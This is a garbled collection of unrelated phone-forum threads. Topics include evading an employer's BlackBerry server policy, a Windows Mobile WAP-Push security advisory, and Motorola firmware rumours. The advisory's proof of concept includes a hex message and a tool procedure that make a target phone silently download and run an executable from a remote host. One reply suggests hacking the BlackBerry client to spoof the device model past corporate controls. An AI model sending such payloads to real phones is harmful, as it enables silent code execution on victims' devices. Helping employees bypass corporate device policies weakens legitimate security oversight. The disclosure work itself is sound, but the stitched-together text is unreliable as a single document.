QUESTION 1
I've been flashing and reflashing ROMs for a couple of weeks now and am very impressed with Dutty's latest endeavor. In anticipation of the v4 release, I'm hoping someone in the community can tell me if it is possible to backup an over-the-air (OTA) enterprise activation of BB Connect. Currently I'm calling our technical support guys who, sooner than later I'm sure, will start asking why I have to have to get a new OTA activation password (which they change as soon as you use it) every 5-7 days.
So, in short: moving from one ROM to the next and want to back up OTA BBConnect enterprise activation. Possible? If so, how?
QUESTION 2
Any BES administrators out there willing to tell me if my Tilt/Kaiser shows up on the BES (v4) differently than a BlackBerry (like the POS 7280 I'm given by the company). If so, is there a way to "spoof" that since my company will not allow non-blackberry devices.
QUESTION 3
When using the stock AT&T ROM, my Tilt respects the (highly restrictive, Bluetooth disabling, password-enforcing, ridiculous) IT Policy pushed by the BES administrator. When I flashed to Dutty's DualTouch ROM v3 Final, this no longer happened. Now, it just reads "default" for the IT Policy. Is this a fluke or some wonderful reg entry that we need to identify and protect like diamonds?
Thanks, all.
Cheers,

We run BES here and indeed non-blackberry devices are reported as the phone model when you look up the phones information.
This could probably easily be spoofed to whatever you like. If you hacked the blackberry connect application, or intercepted and modified the data passed over to BES. You could make it say anything you want at that point.
I'd get "in" with your IT guys and that way they can pull a favor for you now and then with the BES server. Other then that, have the company pay for a blackberry phone and carry two phones around, or refuse to carry a company phone and don't use your personal phone for company resources. If they're blocking your productivity by a poorly guided company policy, make it cost them money. Don't inconvenience yourself to keep your productivity as an employee on par.
Really though, it's not feasible to secretly go behind your employers back with your tilt. I think it's ridiculous a company wouldn't let you use your Tilt -- though probably because the corporation is uneducated or ignorant to the fact that the Tilt can be locked down just as well as a blackberry phone. Too bad the employer has a bunch of pointy haired management types running around who don't know what they're doing and out of ignorance banned non-BB devices.
Jon,
Thank you for your prompt reply and clarification on what shows up at the BES. Hacking the BB connect app is beyond my current knowledge set, but I may look into it if I'm unable to find a simpler solution.
Unfortunately, my company has several thousand employees so my productivity concerns are far outweighed by their misinformed security concerns. I've pitched the benefits of BB connect, WM5/6 devices and direct-push Exchange sync, but my pitch falls on deaf ears. They have provided me a BB 7280 and some get newer 8XXX devices, but beyond that we're expected to be happy with what we have. I'm even buying a non-camera Tilt to replace my two week old Tilt because they won't allow personal camera phones (all BB connect issues aside). You'd think I work for MI-6...
Cheers,
T.V.I.

Here's how you do it
you could use the desktop software instead of OTA. this will activate the phone without requiring you to get a new activation code.
Here's how I back up and restore. This has worked often, and not worked a few times.
Try to follow this exactly for best results.
get task manager v2.7 from fdcsoft
tap the blackberry icon on the taskbar and suspend the service under status
start taskmanager, and go to services. stop the two blackberry services, log and security.
open file explorer, and copy the directory RIM in /application data to your storage card
flash your phone with whatever-
copy the RIM folder back to /application data from your storage card
load blackberry connect (this should be the same version you had, otherwise you may have issues)
tap the blackberry icon in settings-system
instead of installing, you should see a window that says "repairing settings"
your old password should be restored, and the phone will lock and ask you to unlock. use your password you had before the backup.
all of your folders and mail should be back.
This works about 90% of the time.
some issues I've had-
multiple blackberry folders- one with emails, one with nothing.
folders missing, a bunch of email in drafts folder.
older messages no longer sync with desktop
good luck!
Windows Mobile Security Advisory: Manufacturers leave device open for WAP-Push based attacks
--------------------------------------------------------------------------------------------
Description:
------------
WAP Push SI (Service Indication) and SL (Service Load) are so called "Service SMS". These messages are used by operators to notify about software updates or to deploy them directly. Microsoft implemented a security policy to ensure that these messages are accepted only from trusted orginators. This policy is defined in the device registry. If improper settings are applied to this policy attackers can send malicious content to the device which then displays or executes the content immediately. This leaves the device open for further attack scenarios.
Workaround / Fixes:
-------------------
Open your device registry and navigate to:
HKLM\Security\Policies\Policies
Check the values of the following DWORDs:
0x0000100c
and
0x0000100d
Microsofts recommends the following values for these:
0x0000100c : 0x800
0x0000100d : 0xc00
If they are for example 0x840 and 0xc40 your device is wide open and vulnerable. Change the keys to
the Microsoft recommendation. They are effective immediately.
Proof of concept:
-----------------
For testing purposes check the above registry keys and set them to a faulty value (like the above
0x840 and 0xc40). Then use a program like PDUSpy or HushSMS to do some testings.
HushSMS is able to send these kind of messages from windows mobile based devices.
Get HushSMS from http://www.silentservices.de/HushSMS.html
Download the latest version (currently v0.6beta) and install it on your device.
Execute HushSMS and type in the number of the receipient windows mobile phone.
In the message body field type in the following (note without a leading HTTP://!!!):
www.silentservices.de/wapsltest.exe
Click Send->Send WAPSL
Watch your target device. If it starts connecting via GPRS it will then download the above sample
program and executes it immediatly without user interaction.
If you want to test your target device with PDUSpy use the follwing sample message:
UDH: 05040b8423f0
Message(hex):
DC0605B0AF82B48302066A008509037777772e73696c656e7473657276696365732e64652f77617074657374736c2e65786
5000501
Edit: Added a youtube video in post #4
EDIT 19.09.2008: Some clarifications
Well, I received my brand new raphael two weeks ago and guess what, the values set by HTC by default are even more worse.
They set 4108 (0x100c) to 0x840
and set 4109 (0x100d) to 0x40
These means in detail:
Accept WAP Push Service Load Messages orgination from authenticated and trusted PPGs (Push Proxy Getways) AND any.
Accept WAP Push Service Indication Messages origination from any.
Hell, I informed HTC a long while ago about these issues, I wrote them several mails but all I got was some standard response like "Thank you, we will look into it".
However some may say:"Hey that's not that worse, I have opera set as my default browser and opera asks me each time what I want to do with this automagically downloaded file, so I'm safe as I always click on drop or simply close my opera window."
Well, since this is fine for people who "know what they are doing", but is is not for or these other people around there taht are using these devices and even don't have clue about what WAP Push is or what a security policy is or simply don't mind on clicking "accept" each time a message pops up ( and trust me when I say there are more people like this out there as you may guess).
Imagine the following scenario:
A malicious freak sets up a domain which is called www.htcupdateservice.com and hosts dangerous files on that domain. Now he sends out WAP Push SL messages to normal users of Windows Mobile phones with these faulty settings with the text:"HTC has to inform you about a critical security update. Donwload ist at http://www.htcupdateservice.com/Update3.6.9.exe"
What do you guess what enough people out there will do? Do you really think that most people that are not trained about security won't click on execute or download in their opera browser?
And what about people that dont have opera set as their default browser? You guessed right, the file will be downloaded and executed without user interaction. BOOM...
Here's another scenario:
Imagine a security vunlerability in opera mobile is discovered that can be exploited if the user visits a malicious webpages. You can guess how someone can force the user to visit this infectious webpage, can't you? ;-)
Or, let's say a malicious freak on the net sets up a webpages that utilizes CSRF attacks, or XSS, or whatever web based attack you may know. Using WAP Push SL messages he can force your browser to become the attacker and the victim with only one message.
It's up to you to care about this or not since HTC doesn't seem to care.
Cheers
This is good info, though I don't see it as a huge hole since there is still opportunity to block the file by the end-user...which ultimately is required in both settings scenarios to stop the file executing.
From where are you getting these alerts, MSDN? I'd like to get in on receiving them.

For SI you are right since the user only gets notified with an URL, but I would call it a huge whole for the SL things. SL messages get executed by the device immediately without the user having a way to block or stop this (if the message is set up accordingly; there are 3 message options as per standard and I refer to the silent execution flag).
If you are watching your device while the messages comes in you can see that a gprs connection is beeing made (if you are connected the whole time with an unlimited data plan for example you wouldnt even notice this).
Just give it try with the method I posted in the advisory with HushSMS (not advertising my program here, just giving a proof of concept).
Both advisories are made by me since I dicovered both flaws.
Cheers
I just made a youtube video to demonstrate what this vulnerability means.
Watch it here: http://de.youtube.com/watch?v=QhJ5SgD-bdQ
I did try it before I posted and my results in each instance (default and with suggested fix) incurred a user prompt. Albeit the default setting did not prompt for the executable to run, but still was prompted to download via IE - recommeded setting prompts at download and execution (see signature for my setup).
Like I said it is good info and indeed a security risk.
Will you share from where this info came?

Well this is interesting. So you say you had the same faulty registry keys like the new kaiser wm 6.1 rom had? (100c and 100d set to 840 and c40)
As you may have seen in the video my IE simply did not ask to open the file. It just gets executed...
Well, then at least your IE settings saved you from getting r00ted

This vulnerability was researched by me about 1 year ago. But the default settings for SL and SI messages was always set correct in the last ROM versions for the devices I had. I just looked at the default settings on this new kaiser rom and found that they left it open for whatever reason and so I published this advisory. I already contacted HTC and am waiting for a response.
hi, i've got htc raphael and values are
0x0000100c : 0x800
0x0000100d : 0x40
not
0x0000100c : 0x800
0x0000100d : 0xc00
but still flaw works. luckly i have opera as default browser but i wanted to findout how can achive download only option.
also by changing to those suggested values do i disable my phones wappush message receive capability?

Hello,
Good day, I would like to thank you for this post about Wap Push Messages. I have a straing problem with my HTC Kaiser Windows Mobil 6.1. My device don't notify me about any WAP Push Messages. I have the 800 & c00 vales in my registry, I changed them to 840 & c40 and send a test message as you suggest and it's started downloading after a period of time without asking me.
I changed it back to Microsoft recommends and send a new message again but it didn't appear in inbox message and my cell didn't notify me about new WAP PUSH message.
I'm going crazy with this, what's the problem, can you help me ?
Regards,

I don't understand what exactly your promblem is with. If you set the Microsoft recommended values it simply tell the device which security policy to apply to wich kind of messages. In the case of the two values the settings say that WAP-Push SL & SI messages have to come from trusted push proxy gateways. If you set them to the faulty values (840&c40) the device accepts these kind of messages coming from any. If the correct (or recommended) values are set the device simply drops or discards the messages without any user notification. So your described behaviour looks normal to me.
(Note: for those who are familiar with device roles and policies, I'm not going into deep here to avoid confusion)
Thanks for fast replay,
My problem is that I don't get notification from my mobile about new WAP-Push Messagess. I think when I receive an new one it must be in the inbox. My problem is, WAP-Push Messagess doesn't appear in the SMS/inbox folder.
Thanks

Well 0x800 for 0x100c is fine but 0x40 for 0x100d is not.
Policy 4108 (0x100c) handles WAP Push Service Load (SL) Messages
Policy 4109 (0x100d) handles WAP Push Service Indication (SI) Messages
So if policy 4109 (0x100d) is set to 40 this means that the device will accept messages from any instead of trusted push proxy gateways only.
So the settings you wrote above mean the following:
4108 (0x100c) = 0x800 : Accept WAP Push Service Load (SL) messages only from trusted and authenticated push proxy gateways
4109 (0x100d) = 0x40 : Accept WAP Push Service Indication messages from any originator and no authentication is needed
While Service Indication messages are not as harmful as Service Load messages, they still can try to fool people into clicking the download now option. Since the orginator is hidden and you only see network message as the sender, this kind of attack can be used to spoof valid operator messages.
I suggest you set 4109 (0x100d) to a value of 0xc40.
These settings do not prevent your device from receiving these kind of messages, but they have to come from an authenticated and trusted push proxy gateway or source.

Dear c0rnholio,
I think it's SL, I talking about the one you receive an option to download the content for Internet. Because my mobile provider send a WAP-Push to download ringtone over GPRS. So, they told me you need to do some modification in your mobile to receive this kind of messages. My mobile don't save the WAP-Push in the inbox folder. But when I put my SIM in Nokia phone I receive those WAP-Push.
As A test. I sent a WAPSL message using HushSMS to my phone it done not do anything. I sent one to Nokia Device it's reading it and give me an option to download the content.

Ah, OK, now I got you. Well, if the policy is set right your device will discard the message you sent with HushSMS because it is not coming from a trusted and authenticated source. But you should still be able to receive these messages from your service provider if your device is properly provisioned.
The fact that you can receive them on your nokia just indicates that nokia also has lazy security settings for these kind of messages.
If you cannot receive your ringtone from your provider when the correct policy settings are applied it seems that your device is not provisioned to trust your service provider. I suggest you enable it temporary by setting the unsecure values and after receiption of your ringtones reset them to the secure values.

Hi,
It seems that the value 0x40 for 0x100d working well for me I received notification and the message stored in the inbox, any idea !!
But I don't know who changed the both value to be 0x480 & 0xc00
Something to mention, two weeks ago I received my first WAP-Push but it was sent from unauthorized source !

It seems you misunderstood me, or I'm simply not getting your point here.
Yes, with a value of 0x40 for 0x100d you can receive WAP Push SI messages from anyone. This might become a risk. The secure setting for this policy is 0xc00. This will save you from unwanted SI messages but may block your providers ringtone messages.
The default values you had where set from HTC (or whatever ROM you migth have installed) with the delivery of the ROM that is installed on the device. That's the final point of the advisory. The ROM manufacturer has left the device open for these kind of attacks.
However a final word in our little discussion:
If you want to be able to receive WAP Push messages from an untrusted and unauthenticated source then leave the settings as they were at the beginning. Be warned as this may be a security risk.
If you don't want to receive WAP Push messages from untrusted and unsauthenticated origins, then change the values as described in the first post.
As a rule of thumb: If you want to receive these messages, even if they come from untrusted and unauthenticated sources, but only want this temporary (for example if you know that your provider will send you a ringtone in the next minutes) then set the values to 0x40 each and after you received what you want reset them to the recommended values on the first post.
I'm out...
cheers
Thanks for sharing this usfull information with us.
I don't understand the value '0xc00' -- does that mean just change it to zero's? That's what I did using the registry editor... there were both 'hex' and 'dec' settings, with the 'hex' dword value appearing to be the one that needed fixing -- so I changed 0000100c to 800 and 100d to 0 -- is this right, or have I inadvertently instructed orbiting alien spacecraft to open fire upon earth?
Maybe screenshots, or a little more explanation on exactly what registry changes need to be made, I'm not used to ones with both hex and dec entries...
Anyone here using Seven on their Tilt with the new ATT Rom?
I've been using it for about 2 weeks just fine with no problems whats so ever. Now since flashing my ROM I started having issues.
The two main ones are that messages are not getting marked as read back on the server side and that composed messages are not being sent.
Anyone else here seeing this?
I am running the official ATT WM6.1 ROM.
Thanks

I am using Seven on my TyNT II now and it's working fine.
However, I don't know if you all know that when you setup an email account to SEVEN, your phone automatically sends an sms to an England number +447624802625, which will charge you an international sms. This will happen when you add one and every email account. Here is the confirmation from SEVEN:
abackholm - SEVEN's Site Admin said:
First of all, thanks for everyone supporting SEVEN in participating the beta program. Your efforts have continued to help our software reach higher quality and become more reliable. Sincerely, being a non-commercial offering that does not earn SEVEN a dime, we sometimes put you in a difficult spot: the setup is not necessarily optimized for the end user, but rather to maximize feedback and exposure SEVEN gets for various features and setup configurations.
In this case, we want to test the phone number validation using SMS.
(1) In production deployments we need user's phone number (instead of IMSI) to be able to send SMS triggers that wake up the client so that there is no need for always-on data connection - to conserve bandwidth and battery.
(2) In production deployments the SMS would be zero-rated, but that's unfortunately not an option in the beta program as operators are not participating with beta testing in their mind. In such deployments, there is no need for multiple SMS-to-HTTP gateway numbers, and thus our setup only supports using one at a time. As the beta program is global in nature, majority of users will always have to use an international number.
I apologize for inconvenience this causes. I realize that those who need to reinstall the client very frequently are especially vulnerable. However, I'd like to remind that participation in the beta program is entirely voluntary.

And luckily some solution has been found:
Hi guys, the problem is over for me as I found a trick for this. There are two ways:
1. I just install and run SEVEN with an OUT-OF-MONEY SIM so that it could not send any international sms. I don't know if you have this in your country or not but here we have 2 different accounts for one SIM, the main account and the promotion account. With the promotion account we can use most of the sms, 3g, gprs, phone services but not international sms/calls and value-added services (like buying ringtones, games etc), and the main account covers those things. So I've tried a SIM without money in the main account and everything goes great though it could not send an international sms. When I put my other SIM in, it does not request me to activate Smile
2. I've tried to install and run SEVEN without a SIM, and turn the wifi on when I add emails. SEVEN requested me to input my phone number and I did it. Then when everything is done I just insert my SIM in, and everything worked fine, no more international sms.
Cheers!!!

Ah, so I guess it would be only a matter of time before we get the official one eh? But I really don't think I'd stick to my Milestone any longer. Unless they unlock the bootloader as well, then maybe I won't go to HTC for my next phone.

Likewise. I doubt this would be happening within this month. Still trying to remain positive though. I just hope that release would be really GOOD, given the fact that they had delayed the release several times already.
270 degrees rotation is kinda annoying for me while I'm lying down and using the phone.

I agree. With such conspiracies and papers coming up everyday, and FroYo being delayed for so long, I think they are in the process of rolling out a FroYo update very soon...
(Fingers Crossed) Dont disappoint us this time, Moto. Or its the last time we put faith in you.
I can just say that Motorola is asking to some Spaniards at facebook (click on Page 5) to check again if we get the update.
Apparently it was supposed to start rolling out for us in Spain yesterday, but as of this moment it's not working

Ok guys, I'll be alert tomorrow then.
Is it usual for Moto to release it first in certain countries to test the release?
Assuming that's going to happen, would it be useful for you guys if I do a factory reset after getting the update, and then upload the backup somewhere?

I was just passing an English translation of a Spanish release and forgot to give credit where do: Link (to Spanish pdf) originally Posted by DiaboluZ (here) View Post From nadbalak/comments homepage...
I only know now the puff in the piece is probably a little premature but it seems worth checking back frequently. When it does materialize it would be nice to squeeze an sbf out of it... and off to the boys in the kitchen.

I have a Milestone A853 from Venezuela which uses 850/1900MHz for 3G.
Is it possible to flash the RTEU sbf and then apply the LatAm baseband through OR???
I want to flash that ROM and check for updates.
